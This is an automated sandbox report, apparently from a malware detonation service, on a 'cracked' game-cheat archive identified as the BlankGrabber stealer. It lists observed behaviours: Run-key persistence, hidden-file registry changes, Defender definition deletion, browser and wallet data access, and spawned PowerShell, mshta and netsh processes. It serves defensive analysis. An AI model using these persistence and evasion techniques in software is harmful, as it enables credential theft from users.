Malware Analysis Report

2024-10-10 08:25

Sample ID 240602-bs7h6seb2t
Target Eulen 8.27.5 (cracked).zip
SHA256 a5bdc71579f5dc046cf509ea3b06a897034ba0f32a4b2d518587664b8c27682e
Tags
evasion execution persistence spyware stealer upx blankgrabber
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a5bdc71579f5dc046cf509ea3b06a897034ba0f32a4b2d518587664b8c27682e

Threat Level: Known bad

The file Eulen 8.27.5 (cracked).zip was found to be: Known bad.

Malicious Activity Summary

evasion execution persistence spyware stealer upx blankgrabber

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Modifies visiblity of hidden/system files in Explorer

Deletes Windows Defender Definitions

Command and Scripting Interpreter: PowerShell

UPX packed file

Reads user/profile data of web browsers

Loads dropped DLL

Executes dropped EXE

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

Adds Run key to start application

Drops file in System32 directory

Drops file in Windows directory

Enumerates physical storage devices

Unsigned PE

Modifies registry class

Suspicious use of SetWindowsHookEx

Detects videocard installed

Enumerates processes with tasklist

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of AdjustPrivilegeToken

Gathers system information

Suspicious use of WriteProcessMemory

Suspicious use of SendNotifyMessage

Checks SCSI registry key(s)

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-02 01:25

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-02 01:25

Reported

2024-06-02 01:29

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

114s

Command Line

"C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"

Signatures

Modifies visiblity of hidden/system files in Explorer

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" \??\c:\windows\resources\themes\explorer.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" \??\c:\windows\resources\svchost.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO" \??\c:\windows\resources\themes\explorer.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO" \??\c:\windows\resources\themes\explorer.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO" \??\c:\windows\resources\svchost.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO" \??\c:\windows\resources\svchost.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\explorer.exe \??\c:\windows\resources\themes\explorer.exe N/A
File opened for modification C:\Windows\SysWOW64\explorer.exe \??\c:\windows\resources\svchost.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Resources\Themes\icsys.icn.exe C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
File opened for modification \??\c:\windows\resources\themes\explorer.exe C:\Windows\Resources\Themes\icsys.icn.exe N/A
File opened for modification \??\c:\windows\resources\spoolsv.exe \??\c:\windows\resources\themes\explorer.exe N/A
File opened for modification \??\c:\windows\resources\svchost.exe \??\c:\windows\resources\spoolsv.exe N/A
File opened for modification C:\Windows\Resources\tjud.exe \??\c:\windows\resources\themes\explorer.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A C:\Windows\system32\taskmgr.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\taskmgr.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A \??\c:\windows\resources\themes\explorer.exe N/A
N/A N/A \??\c:\windows\resources\svchost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 116 wrote to memory of 3496 N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 116 wrote to memory of 3496 N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 3496 wrote to memory of 3120 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 3496 wrote to memory of 3120 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 3120 wrote to memory of 1488 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 1488 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 2900 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 2900 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 2080 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 2080 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 5108 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 5108 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 868 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 868 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 948 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 948 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 1312 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 1312 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 4432 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 4432 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 684 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 684 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 5108 wrote to memory of 3264 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 5108 wrote to memory of 3264 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3120 wrote to memory of 1208 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 1208 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 4408 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 4408 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 3204 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 3204 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2900 wrote to memory of 3696 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2900 wrote to memory of 3696 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2080 wrote to memory of 1812 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2080 wrote to memory of 1812 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 1488 wrote to memory of 1212 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1488 wrote to memory of 1212 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 868 wrote to memory of 3528 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 868 wrote to memory of 3528 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1312 wrote to memory of 3296 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 3296 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 684 wrote to memory of 4440 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 684 wrote to memory of 4440 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4432 wrote to memory of 3740 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4432 wrote to memory of 3740 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 948 wrote to memory of 4816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 948 wrote to memory of 4816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1208 wrote to memory of 3788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1208 wrote to memory of 3788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3204 wrote to memory of 2272 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3204 wrote to memory of 2272 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4408 wrote to memory of 3692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4408 wrote to memory of 3692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 3120 wrote to memory of 4492 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3120 wrote to memory of 4492 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 4492 wrote to memory of 2440 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4492 wrote to memory of 2440 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3120 wrote to memory of 1652 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
